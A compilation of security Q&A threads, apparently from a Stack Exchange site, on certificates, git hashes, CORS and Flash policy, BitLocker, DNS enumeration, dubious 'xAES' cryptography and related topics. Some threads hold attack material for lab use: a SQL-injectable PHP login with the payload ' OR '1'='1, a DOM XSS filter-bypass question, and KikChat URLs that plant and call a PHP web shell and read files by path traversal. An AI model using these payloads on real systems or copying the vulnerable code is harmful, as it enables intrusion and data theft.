How to determine which Browser Certs to reenable on a per-case basis? Considering that there is no way to actually see which certs that I use in my regularly-visited websites, I've decided to disable all certs and re-enable them on a case by case basis. This is for the dual goal of increasing security and also to familiarize myself with which CAs to trust. If China Internet Network Information Center is suddenly signing my certificate chain down to Gmail, I would like to know! Firefox as shipped by Ubuntu does in fact come with that CNNIC cert preinstalled.

Now that I've disabled all the CAs, when I try to connect to https://example.com Firefox correctly informs me that the connection is untrusted. However, I see no way to look at the cert to determine which CA to reenable. When certs are enabled one can click the Firefox Lock Icon and see the cert, but with the CA used by the cert disabled there seems to way to see the cert. I'm sure that I could script Python and Curl to reveal the cert details but I would prefer something from within Firefox itself. Does Firefox has a way to show to the user certs that do no have a corresponding CA enabled? It seems like a glaring oversight if it doesn't.

In the following screenshot it can be seen that the I Understand the Risks section to open the Certificate Viewer is not available for certs whose root CA is disabled:

TLDR: How to see the name of the root CA (which I need to re-enable) of a cert that Firefox does not recognize, from within Firefox itself?

AIA chasing?

  TLDR: How to see the root CA of a cert that Firefox does not recognize, from within Firefox itself?

You don't directly get to see the root CA. But you may be able to see the immediately superior CA.

Some certificates (all?) have an Authority Information Access field that allows a certificate to answer the Who's your daddy? question.

(To get to the Certificate Viewer window navigate like this:
I Understand the Risks | Add Exception... | View... | Details)

In the case of example.com it's this: http://cacerts.digicert.com/DigiCertSHA2HighAssuranceServerCA.crt

Top 15 Root CAs to get you started

Here's the top 15 root CAs from a scan of the Alexa Top 1 Million (2015-10 by Hubert Kario):

Root CAs                                      Count     Percent
---------------------------------------------+---------+-------
(d6325660) COMODO RSA Certification Authority 113492    20.662
(2c543cd1) GeoTrust Global CA                 107601    19.5895
(eed8c118) COMODO ECC Certification Authority 48977     8.9166
(cbf06781) Go Daddy Root Certificate Authorit 47939     8.7276
(5ad8a5d6) GlobalSign Root CA                 44123     8.0329
(b204d74a) VeriSign Class 3 Public Primary Ce 29359     5.345
(244b5494) DigiCert High Assurance EV Root CA 25999     4.7333
(2e4eed3c) thawte Primary Root CA             23372     4.255
(157753a5) AddTrust External CA Root          20188     3.6754
(653b494a) Baltimore CyberTrust Root          12053     2.1943
(ae8153b9) StartCom Certification Authority   9139      1.6638
(fc5a8f99) USERTrust RSA Certification Author 8775      1.5975
(3513523f) DigiCert Global Root CA            8281      1.5076
(4bfab552) Starfield Root Certificate Authori 8226      1.4976
(480720ec) GeoTrust Primary Certification Aut 5570      1.0141

Miscellaneous

Certificate Patrol Addon?

Have you tried the Firefox Certificate Patrol addon? Seems up your alley.

EDIT2015-12-03: Why does this not work for Wikipedia? HSTS!

I guess this does not work for Wikipedia, because wikipedia.orgis HSTS preloaded in Firefox (archived here).

And the "I understand the Risks" button is missing because for HSTS errors a "no user recourse" rule is enforced. This is by design.


Resources to learn about memory allocation & security Are there any good online resources to pick up knowledge about how memory allocations affect security?

Its a new area for me, and any pointers on where to get started would be appreciated.

Buffer Overflows might be what you are trying to refer to. Once you figure out exactly what it is you want to learn, you may want to build your own testing environment to observe how it works. DVWA is a great place to start with that.


Does git commit hash prove the history until that point? I have some data and want to prove it's integrity during time, i.e. prove that a certain state of the data was present a a certain date.

For this reason I commit the data to a git repository I keep by myself (and at bitbucket).

Now I plan to hand over the commit hash to the person I want to prove the state of data to in regular time intervals.

So if the person wants to check the data I will provide them with the git repository and they can compare the hashes they have to my repository.

Is this enough to ensure to audit the data?

Not against sophisticated agents with lots of resources.  SHA-1 (the hash used in git) is not considered cryptographically secure these days against collision attacks.  With published methods for a full collision is estimated to cost about ~$100,000 in EC2 compute time.  This is why SHA-1 SSL certificates are considered insecure.

If you ignore the possibility of SHA-1 collision attacks, if you hand someone a commit hash (and later give them access to the repository), they can use that commit hash to verify the following information (which was hashed together in a custom format to create the hash):

the full sha1 hash of the current tree (the tree is essentially a file listing of a commit with file names pointing to sha-1 hashes of the data in files)
the full sha1 hash of the parent commit(s) (multiple in case of merge)
The name and email of the author and committer,
The time stamp of the commit (according to the committer's local computer)
The commit message

So if you email a person with a specific commit hash 43c5ab273a7c897dfd8cad9cef829b3a657f8491 at a certain time, they can later verify that commit was made pointing to specific tree (4c883b33dbb987e46c211f6dad52b91b208661b4) with a parent commit of cef37643eb57177ac9e4e1f3d0178bc67b381c8e.  The timestamp and author/committer information will also be included, but this shouldn't be trusted as being accurate.  E.g., anyone can tell their local instance of git they are whatever name/email they want and push it to a  bitbucket repository they control.

Note, so if someone wants to verify that you had a repository a certain way last month, you can easily go back and edit history and create a new commit (with a new hash) that shows you had the repository that way at that time.  However, if you had given them a hash to the commit of the state of the repository at that time, this would not be possible (without going through the trouble of generating hash collisions).


Crossdomain.xml - write access to domain Is a permissive crossdomain.xml Flash policy analogous to a permissive CORS policy?

i.e. Is

<cross-domain-policy> <allow-access-from domain="*" /> </cross-domain-policy>

the equivalent of

Access-Control-Allow-Origin: <origin request header>
Access-Control-Allow-Credentials: true

e.g. if the attacker site is attacker-site.co.uk over TLS the following headers would be reflected:

Access-Control-Allow-Origin: https://attacker-site.co.uk
Access-Control-Allow-Credentials: true

I would argue that the Flash policy makes things more insecure (from a Flash perspective only) because although they appear to allow the same things, write access is not allowed by Flash unless a permissive cross domain policy file exists, whereas write access to an origin is allowed by default within the Same Origin Policy.

However, since write-access is allowed anyway (non Flash), allowing it in Flash too does not add any integrity risk to the application. Is this correct?

Yes, although the default cross-origin permissions differ between Flash and HTML:

       Write Access (e.g. POSTing data)            Read Access (e.g. req allowing data to be read)

HTML   Allowed                                     Only allowed with CORS
Flash  Not allowed without cross domain policy     Not allowed without cross domain policy

Having said this, it is possible to perform a CSRF attack using Flash without a cross domain policy. Evgeniy Yakovchuk has posted a Github which shows a POC of the issue. This involves the Flash file making a request to a URL on the same origin as the .swf file, however, then the handler for this URL then issues a 307 redirect that causes the request to be sent to the victim site. The crossdomain.xml file is not checked before the request has been redirected, and CSRF is achieved, also with the option of setting a custom content-type header that would bypass the usual browser Same Origin Policy restrictions.

Whether this is "by design" is for Adobe to confirm. They did fix a variation on this that also allowed custom headers to be added which is normally not allowed without a relevant CORS policy, however the 307 redirect issue still remains.

Going back to the table above, since access is allowed by HTML anyway, allowing Flash to "write" to another origin too does not add further risk.

Both methods, as already touched upon, also require additional settings for headers: Flash cannot send custom headers with a request unless the appropriate setting in crossdomain.xml exists:

<allow-http-request-headers-from domain="www.example.com" headers="MyHeader"/>

And any custom headers require a pre-flight request within HTML to ensure the server configuration allows them.

Regarding the integrity risk (within the CIA triad), both could cause an indirect risk if the policy allows anti-CSRF tokens to be read which could then be used to make state-changing requests to the application.


Security of asymmetrical decrypting proxy I'm thinking about the safest possible way to store secure data (eg. Credit Card numbers) with a requirement of sending them in clear text to third party API (so hashing doesn't come into play).

I've came to solution that seems to be more secure than typical 'store them encrypted and decrypt when you have to use them using the same key'.

The idea is to encrypt it and store on the application server directly after acquiring it from user with a public key.

The private key wouldn't be stored on the application server at all. Instead the application server would send the message to 3rd party API using the encrypted values.

The second part of the solution would be an  HTTP Proxy on a separate server that would route the messages to the third party API and decrypt the encrypted values. The private key would be stored only on the proxy and wouldn't be stored on disk (only in RAM - each restart would require inputting the private key).

It seems, that using proxy as a black box that wouldn't need to change despite application development would help in securing it better than the application server (to which more people have to have access). Also, because of the requirement of not storing the private key on disk, it wouldn't be such a problem to enter the key after each restart of the proxy server since it wouldn't have to be restarted as frequently as an application server machine.

Any thoughts on advantages and disadvantages of such a solution? Are there any applications  that could help me achieve it (proxy with ability to use custom transformation code, method of securely storing values in RAM)?

Quoting the Karate Kid, "Remember, the best block is not be there".  (Thanks to Bill Cheswick for this quote.)  In other words, the safest way to store a credit card securely is... (wait for it...) don't store it at all.  Use a third-party credit card processor which stores the credit card numbers for you, so you don't have to.  They may give you a handle you can use instead.

Alternatively, you can build your own service.  Build a simple proxy that stores the credit card number securely, in its own database, encrypted, using an encryption key that is not known to the rest of your code.  The proxy can provide an API.  When a user registers their account, you send their credit card number to the proxy for storage.  When a user makes a payment, you send a message to the proxy: 'charge $27 to user xyz's credit card', and the proxy is responsible for retrieving the credit card number and initiating the transaction with your credit card processor.  Harden the service you use to store credit card numbers, and consider initiating some rate-limiting or auditing procedures.  This way, if the rest of your code is compromised, at least the attackers cannot steal all of your users' credit card numbers.

See also
How can I create a service that automatically logs onto a third-party service without storing credentials in plain text? [which asks about storing a password securely, but you can apply the same techniques to storing a credit card number],
Storing Credit Card Numbers, and
Storing credit cards for automatic payments?.


SQL injection not returning expected results I've created a test site in order to learn about SQLi and then protect against it. I may be misunderstanding how it is supposed to behave but at present I'm not getting the results I expect.

The page:

<!DOCTYPE html>

SQL Injection Test Site

Login Form

<form action="" method="post">
Username: <input type="text" name="username">
Password: <input type="text" name="password">
<input type="submit"></form>

<?php
$db = mysql_connect(***, ***, ***);
if(!$db){
    die('Could not connect: ' . mysql_error());
}else{
    mysql_select_db(***);
}

if(isset($_POST["username"]) && isset($_POST["password"])){
    $username = $_POST["username"];
    $password = $_POST["password"];
    $result = mysql_query("SELECT * FROM customer_data
                            WHERE username = '$username'
                               AND password = '$password'");
    $result = mysql_fetch_assoc($result);
    //we would now process the login if details matched
    echo "Logged in: " . $result['username'];
    var_dump($result);
}
?>

The table in the database:

The input:

username: admin
password: ' OR '1'='1

My expectation is that it would find the admin user and then accept the input from the password field as '1'='1 should evaluate to true. It actually returns the result for the first entry in the table, username JBloggs. This is the bit I don't understand.

Can anyone point out a fault in the code or logic that is causing this behaviour?

There is no fault in the code. You are using the OR condition. For the first row having the data of the user JBloggs, the username is not admin but 1=1 is true for the first record. Since the two conditions have an OR between them, any single true condition will make the whole statement true that is why you are getting the record of the first row.


Why is callerID spoofing not possible when using short codes? The question is already in the headline:

Why is callerID spoofing not possible when the destination number is a  short code?

Here for example the answer to the question if callerID spoofing is still possible says "It is possible to do so with a 10-digit code so that it looks like another phone number but NOT from a short code.  The way that short codes function in the U.S. prevents that from occurring."

Short codes have behavior similar to 1-800 numbers for phone calls in the US.  These provide the original number because the destination is being billed for the call, so the carrier provides the real number as part of the service.  This is provided by a different system than Caller ID, called Automatic Number Identification.


Bitlocker without PIN In simple words: Does Bitlocker (without Pin) transforms the normal "Windows User login" into something secure?

So if you activate Bitlocker (without a pin before booting) you are forced to use the original unaltered Windows installation to retrieve the key from the TPM Module. Meaning, if you try to start the computer with e.g. a Linux USB-Livestick you cannot access the hard disks.

Is this correct?

Your understanding is mostly correct. Using Bitlocker in TPM-only mode (not the same as just "without PIN" because you could use another form of authentication, such as an external key on a USB device) means the disk encryption key will only be available if the OS boots up normally; if the boot process is modified by malicious code, or if the normal OS isn't booting at all (because you're booting to Linux or something instead) then the TPM won't reveal the key.

Bitlocker, in any mode, doesn't really "transform the normal Windows User login into something secure", except in the sense that you can't easily attempt offline cracking of the (weak) password hash the way you normally can. In fact, in TPM-only mode, it is vital that you have a strong Windows password on all login-enabled accounts, because the attacker can still attempt online brute-forcing of that password (though Windows will limit how fast they can try). However, it does mean that simply getting the hard disk without the rest of the machine will be useless to an attacker, and that getting the entire machine but with no idea what the login passwords are and no special attack hardware will be nearly as bad. On the other hand, even without Bitlocker, an attacker could encrypt data that is protected with a key derived from their login password (using DPAPI and/or EFS) and therefore require the attacker to get their login password (although in that case brute-forcing the NTLM hash is probably the easiest option, and with BitLocker you can't do that).

Note that there are limitations of TPM-only Bitlocker. For one thing, it's much easier to bypass using a hardware attack, such as freezing the RAM (once the encryption key is retrieved from the TPM) and physically removing it from the running system, then using external hardware to read the key out. TPM-only mode is also incompatible with any kind of intentional modification of the boot process, so any time the user (or OS) wants to install a patch that modifies the bootloader or similar, it must briefly "disable" Bitlocker by writing a clear-text key to the disk. This key is removed after successful reboot, but it provides a window where an attacker could bypass Bitlocker entirely. Finally, "TPM-only" Bitlocker still usually has a "recovery key" that the user is told to store somewhere; if the attacker gets that then they can bypass Bitlocker regardless of the other protections used.


One certificate for both client and server authentication Is there any reason why I shouldn't issue end entity certificate with both TLS Web Server Authentication and TLS Web Client Authentication?

What should happen if the client certificate which should be authenticated on web server contains also TLS Web Server Authentication?

Should I issue instead 2 different certificates? One with TLS Web Client Authentication only and second with TLS Web Server Authentication only?

What is the best practice and your experience?

From a normative point of view, RFC5280 does not put any constraint on having both extended key usages set at the same certificate.

From the security point of view, there is also no crypto/protocol problem (as far as I know/could find) on using the same certificate for SSL authentication as client (I guess for connecting to other services) and server (for receiving connections). Since if you use two certificates both would also be stored on the same server, if an attacker can steal one certificates he can steal two, no gain or loss there.

However, it does not hurt to keep them separate too, specially if for any reason later on you need to change one the certificates characteristics in a way that could affect the functionality on one of the usages (ex: change the DN to include something relevant to the client auth that could break the server auth).

I always, in such situatins, keep both separate, and if you are talking about private PKIs, usually I also use different CAs for issuing each of them.


Network enumeration protection I was reading about DNS security, and readed about Zone Transfer and how can be used to retrieve host information of a network, so not allowing Zone Tranfer from external sources will be the solution for that, so, is there other way for an attacker to obtain that info if the Zone Tranfer is not allowed??

From a DNS perspective, if Zone Transfers are not allowed the main ways to get similar information (i.e. information about valid hosts in the domain) would be either reconnaissance in search engines or using brute-force attacks to guess valid host names.

The search engine piece is relatively self explanatory.  You search for information relating to the target organisation and see what hosts names are exposed.  This kind of research can be automated using tools like Maltego (although this is only a small subset of its' functionality).

The DNS brute-force option essentially just guesses common host names against the target domain name.  Again there are existing security testing tools which can automate this process for example the dns-brute plugin for nmap


Is a password or passphrase needed with a keyfile backup to decrypt In my search for an encrypted NAS i have come across a few products that talk about backing up the encryption key and storing it in a safe location. My question is if this backed up keyfile is enough to decrypt the contents of an encrypted drive or is a password also required?

I am particularly interested in the Synology NAS DS216j, but general answers are also welcome.

In most cases, while you can generate a private key without a
passphrase/password, it is not advised to do so. However, in some situations, it
is necessary, depending on how the system architecture works.

The issue is that the private key is the key to the kingdom. If it does not have
a passphrase, then anyone who obtains the key can use it. If it does, then they
also need that passphrase to use it. However, if the key is part of some
automated authentication process, depending on how the system is implemented, it
may not be possible or it may not be convenient to have to enter a passphrase to
use the key. Often, there is a key agent involved whereby you are required to
enter the passphrase on first use and after that, the key agent will take care
of things (for example, on first connection).

It is possible that your NAS requires a private key without a passpharse due to
the underlying design/architecture. If this is the case and your concerned that
backing up your private key may not be secure enough, then the easy solution
would be to encrypt your backup with another key which does have a
password/passphrase.


Are there any known breaches of the .NET AppDomain isolation? .NET AppDomains provide several levels of isolation for untrusted or partially trusted code. The AppDomain sandbox is widely deployed in ASP.NET and Silverlight, although only the latter of these is designed to isolate completely untrusted code from the rest of the OS.

Have there been any known escapes of AppDomain-based sandboxes? I was unable to find any security advisories related to this in a cursory search. Of course this doesn't mean the sandbox is secure; it could simply be little-used. But it's a start.

I'm asking because the documentation from MSDN as to whether the sandbox is to be relied on appears to be contradictory. There's this page which states "we advise against loading and executing code of unknown origins without putting alternative security measures in place". And then there's this article whose entire title is "How to Safely Host Untrusted Add-Ins".

Yes, there are plenty of examples.

MS14-072 is one of the most direct ones. An attacker could hijack a remoting call to elevate privileges to other AppDomains running within the same execution context. Pretty much all the direct code execution bugs work as examples too, because once you escape the type-safe environment, you can make direct API calls on the system which violates all safety guarantees.

There are also application-level bugs which can violate the AppDomain restrictions. For example, an arbitrary file write bug could cause a secondary AppDomain to load a DLL or other executable object, leading to a compromise of both parts of the application.

As far as hosting untrusted code goes, keep in mind that the latter article you linked is very old. It is now generally considered insecure to host any kind of untrusted code. Code Access Security (CAS) has become deprecated in .NET due to its ineffectiveness and difficulty of implementation. Microsoft provides advice should you absolutely need to host untrusted code, but generally this is more focused upon using closed-source 3rd party libraries for which you have no security metrics, rather than "please upload a .NET executable and I will run it".


Unseen.is encryption claims revisited with their proprietary, patented "xAES" algorithm I had asked last year about the encryption claims by the web service called https://unseen.is. The very same service that had claims of "beyond army level encryption", "4096 bit keys" etc. This is the response from their support:

  We don't use IKE v1 & v2, no signature too. Here is the way we exchange key:

  The initiator generates a random ephemeral NTRU public/private key
  pair for the specified security strength. The initiator sends the NTRU
  public key to the responder. The responder generates a random secret s
  and encrypts it with the NTRU public key. The responder sends the
  encrypted secret to the initiator. The initiator decrypts it using the
  NTRU private key and extracts the secret s. Then both initiator and
  responder use the secret s to compute.

  xAES (extended AES) is our patented encryption algorithm, based on AES, but has bigger key-size (maximum 8192 bits), much complexer &
  longer polynomial (in step MixColumn), using Gray-Sbox or Sbox
  flexibly (in step SubBytes), and some more security modifications
  (salt, key-expansion, etc...).
  You can use Javascript debugger to view incoming message and outgoing message and check the message payload to see the encryption
  text. This is truly end-to-end encryption inside SSL tunnel.

UPDATE: 8th October 2015

  xAES is a expenontial difficult level to break from base of AES. AES has limit > of 265bits keysize, where xAES has been developed to overcome all AES
  limitation. For xAES we can have a size of 16kbit (~2^64 times AES), which
  will be extremely diffulty even if one uses quantum computer to break
  it.

What do you encryption specialist think of this response and especially how would you rate the "xAES", their proprietary and "patented" encryption algorithm? What is the value for user to go put their communications behind a service that has in use a "patented proprietary encryption" out of which at least I have not found any trace from 3rd parties it would have undergone any checks or tests, anything.

UPDATE: 7th March 2018

The patent is number 20160142208 and is titled MULTI-DIMENSIONAL ENCRYPTION.

From what you describe, what they do is that they tunnel data in some SSL (this is reasonable) but add an extra encryption layer in Javascript (this is not reasonable). The whole reasoning is faulty. Indeed, either the SSL ensures security of transmissions, in which case the extra layer is simply useless; or the SSL does not ensure security of transmission, and then attackers can modify the sent Javascript code, thereby nullifying any security gain that could be hoped to be obtained from that extra encryption.

In practical terms, if the SSL is not enough, then you are already doomed. There are basically two ways in which a SSL connection can be intercepted:

The attacker could plant in the client machine an extra root CA certificate under his control; then he runs a Man-in-the-Middle attack by generating on-the-fly a fake certificate for the server, signed with the attacker-controlled CA. This method is commonly applied in some big organizations, using products such as Blue Coat's ProxySG appliance.
The attacker could plant some software in the client machine that hooks into the SSL libraries used by the client browser, and reads data directly from the source, before it gets encrypted (or after it gets decrypted, for incoming data).

The first method is what nosy but honest sysadmins do; it scales well and is robust against browser upgrades. It is also less discreet than the second method, since the user can always click on the padlock icon, have a look at the apparent server certificate chain, and notice the extra root CA.

Both methods require the same kind of initial access to the client machine, so if an attacker could use one then he could just as well use the other one, and you would be none the wiser. In simpler words: if the SSL is not enough then your machine was compromised and resistance is futile. Whoever could break through the SSL could also, and probably more easily, simply plant a key logger on the machine and don't even bother with the SSL any more.

The "xAES" thing deserves its own section.

First, there is no such thing as a "patented proprietary algorithm". A patent is a publication and that is even its raison d'être. Patents are a deal by which an invention is published, in exchange of a temporary monopoly for its usage. The whole idea was to prevent inventions from being lost because the inventor relied on secrecy, and then died. Whether patents "work" for software is an open (and acrimonious) debate, but the basic property remains: that which is patented is also published, by definition.

Therefore, if the algorithm is really patented, then a patent should exist and they should be able to send you a reference to it (the patent number). But without any reference, one has to assume that the patent may be inexistent, which would imply that they are lying to you (a great way to build trust).

Now let's see some details. AES is an algorithm with a precise definition, built over some elementary components of an algebraic nature. The interactions between these components have been studied at length in the last 15 years, and the overwhelming consensus on the subject is that these things are subtle, and it is not easy to make sure that any given definition ensures the appropriate level of security. Thus, any single change can be highly detrimental to security, and there is no obvious way to detect such an occurrence.

The notion of using a "much complexer & longer polynomial (in step MixColumn)" does not make sense. That step is defined in the AES standard to correspond to a multiplication of a column, taken as a polynomial in GF(256)[X], by a constant polynomial P, modulo a specific degree 4 polynomial M. Since there are four bytes in a column, M can only have degree 4; there is no other choice; and since the operation is done modulo M, then the degree of P cannot exceed 3. Thus, using a "longer polynomial" is meaningless.

(Or, maybe worse, they do multiply with a polynomial P' with a much larger degree, without realising that this is equivalent to multiplying with a polynomial of degree 3 or less when done modulo M.)

The role of the MixColumns transformation in AES is to ensure some avalanche effect. A simplistic view would be that "more avalanche" is better, but that would first require that the standard MixColumns is defective in that respect, which is an unsubstantiated assertion. Moreover, a stronger avalanche effect does not actually correlate with the polynomial seeming "more complex" in the eyes of a human being.

The 8192-bit key size is, of course, highly laughable. 128 bits are already enough and there are strong reasons for that. Key size is not a weakness in symmetric cryptographic algorithms; it used to be a weakness back when Disco was a novelty, because there were some widespread algorithms with really short keys (in particular DES). But things have changed, and symmetric keys were expanded to be safe from brute force attacks, not only from existing hardware, but also from hardware which will be invented in the foreseeable future.

When someone says "I use 8192-bit symmetric keys", what I hear is: "I have no idea what cryptography is, but I really love big numbers".

Last but not least, a common theme in cryptographic research of the last decade is that side-channel attacks are a possible concern, and should be taken care of in the implementation of cryptographic algorithms. There has been a lot of research on that subject, in particular optimized circuit-based descriptions of the AES S-box (e.g. this one) to promote constant-time bitslice implementations. By modifying algorithm elements, they simply forfeit all that research.

Summary: I would recommend avoiding this product, because:

They make claims which are not backed up, or make no sense (e.g. a patented algorithm which is also kept secret).
If they really do what they claim, then they basically destroyed all attempts at external review, which is a problem because all the security in a cryptographic algorithm comes from external review.
The security model does not hold up; or rather, they don't describe any security model where all their extra custom crypto would have any tangible effect on security.
The description of the cryptographic algorithm is full of buzzwords that are usually correlated with an utter lack of cryptographic skills.
In any case, all of this boils down to: you send your precious data to these people, and you have no way to know what they do with it. All the crypto talks are about the security in transit but the real weaknesses are always at the endpoints. In their Web site, they address that concern with a generic "we are based in Iceland". How exactly living on top of active volcanoes or having a thriving fishing industry are supposed to improve data security, is kept untold.


Can my school track my laptop? I do a distance education program in Australia. My distance ed school sends out laptops to all students on loan until they leave school/the program. The laptop is specifically a Lenovo Thinkpad Yoga 11e (5th Gen) if that makes a difference. My worry is that one of the head teachers had informed us they can tell if you install games and such on the laptops, which makes me think about what they could see on there. Is this just 'scaring' the kids into not installing stuff they shouldn't have or could this be real. I have reset Windows twice, so all files were removed.

I work in an enterprise and have access to reports that show me every program installed on any laptop we manage.  So, yes it is real.  Whether your school has such management tools in place is the question.  I would assume they do if I were you.


Wiping an SSD with Parted Magic seemed too quick I'm selling a computer with an SSD (it's a Lenovo ThinkPad Carbon X1). I wiped the drive using Parted Magic. I used the ATA method. I'm not sure what that is but it was the only setting available. It said it would take two minutes but the wipe was done in a few seconds. Is this expected behavior? It's not a major issue as the drive was encrypted with VeraCrypt, but I'm curious for future reference.

Modern SSDs use a technology called SED which allows instant erasure. It works by transparently encrypting the entire drive and keeping the key on the drive. ATA Secure Erase is then implemented by wiping the key alone, which renders the rest of the data immediately unreadable (assuming of course that it has been correctly implemented on that particular storage device). The reason two minutes specifically is quoted is because it is the minimum value the ATA protocol can report.
But note a potential caveat: Recovery of EEPROM data after bulk erase operation


Viewing an infected file via FTP and code editor won't infect my PC right? My apologies this may sound like a paranoid question...

Recently my friend's website was infected by malware.

With her permission, I FTP into her account to have a look and found some malicious PHP files with Base64 (i think?) strings as well as TXT files that seem like Bash/Perl scripts calling "wget" on some server.

Question:

I won't get infected by viewing/editing those PHP and TXT files right? (I use FTP to download them and Aptana Studio 3 to view them).
I tried decoding the supposedly Base64 string using an online decoder. The operation failed (i.e. nothing was decoded). Nothing was also downloaded. Doing this won't cause my PC to be infected right?

Thanks guys.

Not so paranoid,
Opening files in a text editor should be safe. Opening other file types is more risky, PDF's, images, office documents, have all had vulnerabilities where opening the file in certain viewers. Most text editors are simple enough that they have few vulnerabilities.

Ensure you never run the .php files, I would recommend changing the file extensions to .txt as soon as you download them.

Extra step for the paranoid, I would also recommend opening the files in a simple text editor, like notepad, editpad pro, sublime text or similar. The more complex and the more the editor understands the format the more likely it is that there is a bug which could be exploitable. This is much more a problem with complex formats like .doc or .pdf.

Further Response

There is the academic answer and the pragmatic answer and they are different.

The academic answer is that it is possible that opening any file in any editor could compromise your box. It is possible that copying the encode text into your paste buffer compromised your box. It is possible that pasting the encoded text into a website compromised your web browser which compromised your box.

The academic answer is not very helpful.

The pragmatic answer is, you'll be fine as long as you did not execute the files. Though the academic answer is factually correct, it is highly improbable the attacker the compromised the server either had access to or was willing to use zero-day attacks against desktop software.

For next time you are doing incident response or malware examination you should consider doing the work in a virtual machine, and discard any changes to the virtual machine once you are done with a piece of work.


How can attacker bypass this dom xss filter? I'm trying to solve an dom xss challenge where filter used is :

var anchor = window.location.hash.substring(1);
if (window.location.href.match(/(script|javascript|src|onerror|%|<|>)/g)) {
        alert('xss detected');

After filter is bypassed location hash is written on page through document.write.
I can't think of working solution since % is in regex , so no hex and <> is also in filter.
Any hint or suggestion in appreciated.


KikChat LFI/RFI exploit code? I've been reading about PWK-Example-Report-v1.pdf on pages 7-14 and found that KikChat apps were used in the example.
https://www.exploit-db.com/exploits/30235
Copy of the vulnerable app is available at exploit-db.
However, the actual exploit code/script is no longer there.
I was wondering what is the content of the exploit code above as I would like to reproduce a similar scenario in my lab.

As it can be seen on the link that you shared:
https://www.exploit-db.com/exploits/30235
The vulnerability can directly exploited with simple GET requests therefore elaborated exploits are not required.
There is a RCE on /room/get.php and you need to replicate the following steps in order to create a file called shell.php that will be your web shell:

Create the file called shell.php. This file will execute the command assigned on the "cmd" GET variable :

http://127.0.0.1/KikChat/rooms/get.php?name=shell.php&ROOM=<?php system($_GET['cmd']); ?>

Access the file and get command execution using the "cmd" get variable:

http://127.0.0.1/KikChat/myroom/shell.php?cmd=whoami;
There is also a LFI on the /KikChat/private.php page on the name parameter:
http://127.0.0.1/KikChat/private.php?name=../../../../../../../../../../boot.ini


Are there any reasons why browsers should block mixed passive content by default? Most browsers block "active" content that's being loaded over HTTP on HTTPS pages. This includes stuff like javascript which can be modified with an MITM and compromise the security of the entire page.

However, "passive" content (i.e. images) are not blocked by default. I was discussing a feature request for Firefox  here, and it occurred to me that I'm not really sure about security when it comes to mixed passive content.

What security concerns are there when serving passive content over HTTP on an HTTPS page?

Mixed passive content, sometimes referred to as mixed display content, like serving images, audio, video files, or any other content that can't alter the DOM - thus the use of "passive" in the name, as you mention yourself - through the non-encrypted HTTP and the requesting document via the encrypted HTTPS is prone to attacks that could replace these HTTP served contents with inappropriate or misleading information. Think here for example of misleading the user in believing he's expected to do some action, or is otherwise misdirected by the Man-in-The-Middle (MiTM) replaced contents. The difference here is, that the attacker wouldn't be able to affect the rest of the page, but only the contents loaded via the non-encrypted HTTP protocol.

Additionally, an attacker could track users by inferring information about the user's browsing activities through HTTP loaded contents that are served to the user. These contents might be limited to displaying on only specific pages, and the request for them could tell the attacker what page the user was visiting.

The attacker can intercept HTTP header information that is sent via the unsecured protocol, redirect requests to another server, or change information in the HTTP response (of course, including headers, so also cookies). Request info includes user agent string and cookies associated with the domain the HTTP served contents are served from. The attacker could change any of this information at will to facilitate easier user activity tracking, or misguide the user with false information.

If these contents are served from the same domain as the main page requesting them, then the assumed protection the user receives by opening a HTTPS page might become even more useless, since the attacker can read the user's cookies that don't attach the ;secure tag via the linked HTTP contents' request headers, indicating to the user agent (browser) to only include such tagged cookies when an encrypted / secured HTTPS channel is used to make additional, linked content requests.


How dangerous might be publishing a public key? Maybe this question sounds obvious, but I wonder how dangerous might be publishing a public key for an asymmetric encryption system?

I know public keys are meant for encrypting messages by anyone who's meant to do so, that's why we can even download a public cert of the most common CAs from web browsers.

But is it secure if I publish my public key on a webserver so anyone can download it? What risks am I facing doing this?

Thanks.

None, that's why it is called a public key.  It can not be used to access anything encrypted for you without solving math problems that are currently prohibitively difficult to solve.  It is possible that in the future it may be possible to solve these problems and that would cause the public key to allow messages to be decoded, but there is no current known threat.

The flip side is that if you do not share your public key, then your private key doesn't do you any good.  The only reason to use asymmetric cryptography over symmetric is if you need to let someone have your public key.  Otherwise, if you are just doing stuff for yourself, symmetric is far faster and more secure.


Phone Call from weird number I just got a call from a very weird number. On my phone it displays as "+1 (1) (5 )" and "USA" below.

I answered the call and there was 100% silence. Then about 2 seconds later the call ended.

Next I tried to call the number again, but a default voice from my phone company told me that the number was invalid.

What could this be?

I don't think it's relevant, but I'm from Denmark and I use an iPhone 4S.

With CallerID Spoofing, the number shown can be anything the caller wants it to be. Usually these calls are trying to identify something (modems, fax machines, voicemail box, etc.) Hard to know exactly what this particular one was, but often they are harmless just annoying.

There is an app by Whitepages called "Hiya" that you can download that tries to do some checking of the incoming number and x-ref it with known scammers. It will even do some blocking for you if you set it up.


Vulnerabilities and potential scale for sensitive data transferred in plaintext, involving credit card payment information Regarding the insecure transmission of data over a network.
When it comes to plaintext credit card information and payment details being transferred in this manner over HTTPS. What are the possible methods of attack or vulnerabilities presented to a system administrator over the network API, if any? If so, are they strictly network-based attacks such as simple MITM attacks, by a user using a public proxy setup? Or attacks opened up by a user on the same network.
My main concern is the risk versus reward in this scenario, ultimately, should sensitive credit card details be transmitted over the network in plaintext/binary? Is this good practice.
Or are there preferable standards and methods for the transmission of sensitive data pertaining to payment details in place and documented? Such as global standards for payment processing.
Example Request (User Browser Form) - Copied in Curl Format via HTTPS
curl '' \ -H 'Connection: keep-alive' \ -H 'Accept: application/json' \ -H 'User-Agent: ' \ -H 'Content-Type: application/json' \ -H 'Origin: ' \ -H 'Sec-Fetch-Site: same-site' \ -H 'Sec-Fetch-Mode: cors' \ -H 'Sec-Fetch-Dest: empty' \ -H 'Referer: ' \ -H 'Accept-Language: en-US,en; q=0.9' \ --data-binary ' ' \ --compressed
The insecure plaintext payment info is located:
--data--binary 'PAYMENT_INFO_PLAINTEXT' \ --compressed

Credit card information should never be sent over plaintext. It will also violate PCI.
Credit card information should only be sent using encrypted transmissions. Ideally, in 2020, that is: HTTPS with HSTS, a certificate signed by a trusted CA, TLSv1.2/1.3, and a secure "A" ciphersuite configuration. To go the extra mile, check that all 3rd party scripts are using sub-resource integrity in their HTML tags and are also sent over HTTPS.
